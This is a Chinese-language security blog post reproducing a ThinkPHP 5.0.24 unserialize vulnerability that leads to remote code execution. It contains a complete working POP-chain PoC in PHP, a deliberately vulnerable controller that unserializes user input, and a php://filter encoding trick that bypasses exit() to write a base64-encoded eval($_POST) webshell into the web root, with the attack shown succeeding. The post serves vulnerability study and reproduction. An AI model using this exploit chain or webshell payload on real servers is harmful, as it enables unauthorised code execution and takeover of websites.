Thinkphp 5.0.24反序列化漏洞导致RCE分析

1. 概述

总体思路就是先全局搜索可以利用的魔法函数作为入口,比如__destruct,然后再一步步构造pop链往漏洞触发点跳

根据大佬的指点漏洞触发点在thinkphp/library/think/console/Output.php的__call方法

public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args); ## 漏洞触发点,这里可以做为跳板,来触发漏洞
        }

        if ($this->handle && method_exists($this->handle, $method)) {
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

2. 环境搭建

Windows、PHPStudy(PHP5.6.27)、ThinkPHP5.0.24;

ThinkPHP5.0.24 下载地址如下:

https://www.thinkphp.cn/download/1279.html

搭建好如下图所示:
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第1张图片

先来写一个入口函数,将application\index\controller\Index.php修改为:


namespace app\index\controller;

class Index
{
    public function index()
    {
        if(isset($_GET['data'])){
            #echo base64_decode($_GET['data']);
            #echo '
';
#echo 'aaa'; $data = base64_decode($_GET['data']); unserialize($data); }else{ highlight_file(__FILE__); } #return '

:)

ThinkPHP V5
十年磨一剑 - 为API开发设计的高性能框架

[ V5.0 版本由 七牛云 独家赞助发布 ]
';
} }

至此环境就完全搭建好了。

3. POP链与POC

这里直接上大佬给的POP链图
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第2张图片
poc如下:



namespace think\process\pipes;
abstract class Pipes
{
}

use think\model\Pivot;

class Windows extends Pipes
{
    private $files = [];

    function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think;

abstract class Model
{
    protected $append = [];
    protected $error;
    protected $parent;
}

namespace think\model;

use think\Model;
use think\console\Output;
use think\model\relation\HasOne;

class Pivot extends Model
{
    public $parent;

    function __construct()
    {
        $this->append = ["getError" => "getError"];
        $this->parent = new Output();
        $this->error = new HasOne();
    }
}

namespace think\db;

use think\console\Output;

class Query
{
    protected $model;

    function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\model;
abstract class Relation
{
    protected $selfRelation;
    protected $query;
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

use think\db\Query;

class HasOne extends OneToOne
{
    function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = [1 => "file"];
    }
}

namespace think\console;

use  think\session\driver\Memcached;

class Output
{
    private $handle = null;
    protected $styles = [];

    function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ["getAttr"];
    }
}

namespace think\session\driver;

use think\cache\driver\File;

class Memcached
{
    protected $handler = null;
    protected $config = [];

    function __construct()
    {
        $this->handler = new File();
        $this->config = [
            'session_name' => '',
            'expire' => null,
        ];
    }
}


namespace think\cache\driver;
class File
{
    protected $options = [];
    protected $tag;

    function __construct()
    {
        $this->options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => '',
            'path'=>'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => false,
        ];
        $this->tag = true;
    }

    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "/../");
        $filename = urlencode(substr($filename, $pos + strlen("/../")));
        return $filename . $name . ".php";
    }
}


use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));#payload

echo "\n";
$f = new File();
echo $f->get_filename();#获取shell的文件名

这里我自己也整理了一下poc画成了图的形式,方便理解
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第3张图片
整个的一个调用栈为

index.php:8, app\index\controller\Index->index()
Windows.php:59, think\process\pipes\Windows->__destruct()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:163, file_exists()
Model.php:2267, think\Model->__toString()
Model.php:936, think\Model->toJson()
Model.php:912, think\Model->toArray()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Output.php:212, call_user_func_array()
Output.php:124, think\console\Output->block()
Output.php:143, think\console\Output->writeln()
Output.php:154, think\console\Output->write()
Memcache.php:94, think\session\driver\Memcache->write()
File.php:160, think\cache\driver\File->set()
File.php:160, think\cache\driver\File->set()

4. 漏洞分析

起点是thinkphp/library/think/process/pipes/Windows.phpremoveFiles方法

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

跟进removeFiles方法

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            #var_dump($filename);
            #die();
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

跳板:可以看到里面有个file_exists判断,$filename为$this->files所以我们可控,如果$filename为一个对象,那么就会触发这个对象的__tostring方法

全局搜索__tostring方法,这里我们选择model类的tostring方法
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第4张图片
但是呢因为这里的model是一个抽象类,其意义在于被扩展,所以我们不能让$this->files=new model,全局搜索一下看谁继承了model类

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第5张图片
可以看到一共有两个,随便选一个即可,这里我选择的是pivot类

所以$this->files=[new Pivot()]

因此从上面的file_exists,我们就跳到了model类的tostring方法

跟进tojson方法

model.php   
   public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        #echo '123';
        #die();
        return json_encode($this->toArray(), $options);
    }

跟进toarray方法

model.php       
    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

进入到toarray方法后,现在就应该考虑如何调用漏洞触发点即如何调用Output.__call()

这块一共有三处可以调用__call方法,根据大佬提示,这里我们选择第三处
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第6张图片
如果我们找这一处作为跳板的话,我们就得让$value=new output();并且代码要能顺利执行到这里来

可以看到我们要到912行,需要经过几个判断

判断 处理
if (!empty($this->append)) $this->append这个我们是可控的,所以只要让其非空即可
if (is_array($name)) 因为$name来自$this->append,所以也很好绕过,只要让$name不是数组即可
elseif (strpos($name, ‘.’)) 因为$name来自$this->append,所以也很好绕过,只要让$name不包含.即可
成功进入else分支

现在我们要进入if (method_exists($this, $relation))里面

因为$relation来自$name,这里的parseName函数可以等价看成$relation=$name,而$name我们又可控所以$relation可控,我们只需要让$relation为一个model类存在的方法即可,经过一番观察发现,model类的getError()函数其功能简单,且返回值$this->error可控,所以这里的$relation=‘getError’;

接下来就执行了geterror函数,因为其返回值可控所以$modelRelation可控

继续往下走,进入getRelationData函数
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第7张图片
刚才我们就说过为了能跳到output的__call方法,我们就得让$value=new output();

所以现在目的就是进入if并且让$value=new output();,因为$this->parent可控,所以进入if后赋值很简单,那么现在问题就是怎么满足if判断

第一个是$this->parent不能为null,这个变量我们可控所以不用担心

第二个是!$modelRelation->isSelfRelation(),得让其返回值不为空:

$modelRelation我们可控,所以得找一个包含有这个方法的类并且返回值不为空,可以看到Relation类有这个方法,但是这是一个抽象类,不能实例化,所以要找其子类

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第8张图片
第三个是get_class($modelRelation->getModel()) == get_class($this->parent),我们知道$this->parent要为output类,所以$modelRelation->getModel()也要返回为output类,其次我们也要要求$modelRelation必须要有getModel()方法,查找一下发现Relation这个类也有getModel()方法

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第9张图片
所以这里总结下来就是:$modelRelation必须包含getModel()和isSelfRelation()方法,且$modelRelation必须为Relation的子类

所以$modelRelation就从下面这几个选吧

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第10张图片
这里大概定了一下$modelRelation的范围,继续往下看

回到model.phpde 904行
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第11张图片
可以看到$modelRelation需要有getBindAttr方法,继续全局搜索一下,发现onetoone这个类有这个方法,并且这个类也是onetoone的子类,ok那么我们就让$modelRelation为这个类

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第12张图片
但是!这还是一个抽象类,不能进行实例化,所以我们得选择他的子类,一共有两个,选择哪个都无所谓,只是构造poc时有所不同罢了,这里我选择hasone类

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第13张图片
所以$this->error=$modelRelation=new hasone()

# 梳理一下$modelRelation
$modelRelation=new hasone()继承onetoone继承relation

现在确定了$modelRelation再回去看看那个getRelationData函数

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第14张图片
$this->parent 我们可控,这里为了让$value为output对象,所以让$this->parent=new output()

!hasone->isSelfRelation(),跟进isSelfRelation(),这里的$this->selfRelation我们可控,令其为false,可以使!$modelRelation->isSelfRelation()判断为真

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZQ4sQc8s-1648394538258)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327212049549.png)]
get_class($modelRelation->getModel()) == get_class($this->parent))

跟进hasone->getModel(),这里的$this->query我们可控

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m3LGuxlY-1648394538258)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327212345791.png)]
全局搜索一下getModel(),发现query类的getmodel很好用,我们只需要让$this->query=new query,并且query类的$this->model为new output()即可
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第15张图片
这样$modelRelation->getModel()的返回值就是output对象,又因为$this->parent为output对象,所以可使get_class($modelRelation->getModel()) == get_class($this->parent))判断为真

这样我们就进入了if里面并且让$value=new output();

然后return $value;

返回到model.php的904行
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第16张图片
hasone类存在getBindAttr方法所以进入if

进入$bindAttr = $modelRelation->getBindAttr();

跟进看一下,非常简单,$this->bindAttr我们可控,可以让$bindAttr为我们任何想要的对象
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jLydR1bD-1648394538259)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327213330916.png)]
继续往下走,从906到907行我们可以看出来我们得让$this->bindAttr必须为一个非空的数组

然后到909行,这里的$this->data我们可控,直接让其为空,就可以到912行,终于到了我们想要的点!!!

这里的参数$attr是根据$bindAttr来的,而$bindAttr我们可控,所以$attr可控,这里的$attr取什么值都无所谓,重要的是$value=output(),因为output类没有getAttr方法,所以就可以触发output类的call方法了

跟进到output类的call方法
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第17张图片
从最开始可知,我们要进入的是212行的漏洞触发点,所以要先满足if判断

首先$method为"getAttr",而$this->styles我们可控,就让其等于[“getAttr”]即可进入if

进入后首先给$args数组插了一个值$method,这里无所谓,我们并不需要$args

接着往下走,调用block函数,跟进,可以看到调用了writeln方法,这里的参数是啥都无所谓,因为我们的payload不在这里
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XCqHSSH3-1648394538260)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327214954040.png)]
跟进,注意这里的第二个参数为true
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HmGPFmH5-1648394538260)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327215159152.png)]
继续跟进,这里的$this->handle我们可控,所以得找一个类作为跳板了,注意这里的$newline为true
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HII3plq0-1648394538260)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327215259277.png)]
全局搜索write函数,经过大佬指点,这里我们可以选择Memcached 类的write方法,所以令$this->handle=new Memcached ()

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第18张图片
那就继续跟进,Memcached 类的$this->handler依然可控,因为think\cache\driver\File中的set() 方法可以写文件,所以我们这里的$this->handler=new file()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9nFAqcbf-1648394538260)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327215641587.png)]
这样就调用了file类的set方法,注意这里的$sessData传参过来为true

跟进set方法
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第19张图片
注意这里因为传参进来时$value=true,这就不能让我们写进去webshell了

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第20张图片
但是确实第一次我们无法写入,我们继续往下走可以看到一个setTagItem方法,参数为$filename,跟进

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第21张图片
我们可以看到在198行,$filename的值被赋给了$value,然后又调用了一次set方法,这时候文件名成了文件内容,所以说只要我们文件名构造的得当我们就能写入webshell

而$filename为getCacheKey产生的

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第22张图片
跟进看看,这里的$this->options[‘cache_subdir’],$this->options[‘prefix’]我们可控,所以很容易就不走这些分支。所以总的来说即首先给$name进行了MD5,然后在80行给其添加了一个前缀$this->options[‘path’](这个我们可控)和一个后缀.php,最后return $filename

Thinkphp 5.0.24反序列化漏洞导致RCE分析_第23张图片
分析:$name我们可控但是会经过md5处理,所以不能写我们的payload,所以我们的payload就写在这个$this->options[‘path’]

返回之后继续往下走,可以看到

$data   = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

我们得绕过exit,因为就算我们写入了shell,但是执行到exit就结束了,并不会执行后面的shell代码

另外还有一点就是windows下写文件时文件名不能包含?、<这些字符,也就要求我们$filename里面不能包含?、<这些字符

本来我们的$this->options['path']='php://filter/write=string.rot13/resource=./',但是很遗憾在windows下因为文件名包含了特殊字符所以这个payload不起作用

这里根据大佬的解答,我知道了payload应该这么写,我的理解是windows下写不能用rot13编码绕过exit,应该用base64编码绕过,但是由于伪协议中存在resource=所以会使的base64解码失败(base64编码的数据=号只会出现在最后,不会出现在中间),所以应该找一个解码器配合其使用所以找到了convert.iconv.utf-8.utf-7,这个首先把=变为+AD0-,然后这个刚好可以被base64解码这就使得解码时不会报错,我们的shell最终也就被成功的解码出来(注:这里的PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g解码出来就是一句话木马)

$this->options['path']='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php'

附上链接:https://xz.aliyun.com/t/7457

好了,回到刚才

如此,在第一次进入set时,

$filename = php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.phpc9a7cef7c410e3ea21c4287f392fd663.php

$data = //000000000000
exit();?>
b:1;

这时候会写入文件名为a.phpc9a7cef7c410e3ea21c4287f392fd663.php,内容为$data的文件

然后在161行进入setTagItem函数,参数$filename=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.phpc9a7cef7c410e3ea21c4287f392fd663.php
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第24张图片
经过一些列处理,到198行时

$value = $name = php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.phpc9a7cef7c410e3ea21c4287f392fd663.php

$key = ‘tag_’ . md5($this->tag);

然后再执行一次set函数
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第25张图片
经过getcachekey函数后

$filename为$this->options[‘path’].md5(‘tag_’ . md5($this->tag)).’.php’即php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.php3b58a9545013e88c7186db11bb158c44.php

$data为 //000000000000
exit();?>
s:154:“php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.phpc9a7cef7c410e3ea21c4287f392fd663.php”;

然后file_put_contents,在文件名是伪协议的帮助下,对内容$data首先convert.iconv.utf-8.utf-7解码然后convert.base64-decode解码并输出到文件中,文件名为a.php3b58a9545013e88c7186db11bb158c44.php
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第26张图片
shell文件就在网站根目录下,打开看下,发现写入shell成功
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E5hcXgzK-1648394538262)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327224902648.png)]
来个phpinfo
Thinkphp 5.0.24反序列化漏洞导致RCE分析_第27张图片

5. 总结

这条链分析下来感觉收获很多也感觉很有意思,后面我还会继续分析thinkphp其他的反序列化,这次大概有几个要点梳理一下

  1. file_exits作为入口点跳到model的tostring
  2. Model类的__toString调用Output类的__call的条件
  3. 二次调用set实现内容可控
  4. 用过滤器绕过exit()
  5. windows下文件名不能包含<、?特殊字符导致某些payload用不了
  6. windwos下写文件的方法

6. 参考链接

附上各位大佬的链接:

https://www.anquanke.com/post/id/265088

https://www.anquanke.com/post/id/196364#h2-4

https://xz.aliyun.com/t/7457

https://blog.csdn.net/rfrder/article/details/114644844

https://xz.aliyun.com/t/10364

https://github.com/rama291041610/Thinkphp5.0.24-Unserialize-Vulnerability

你可能感兴趣的:(漏洞复现,web安全)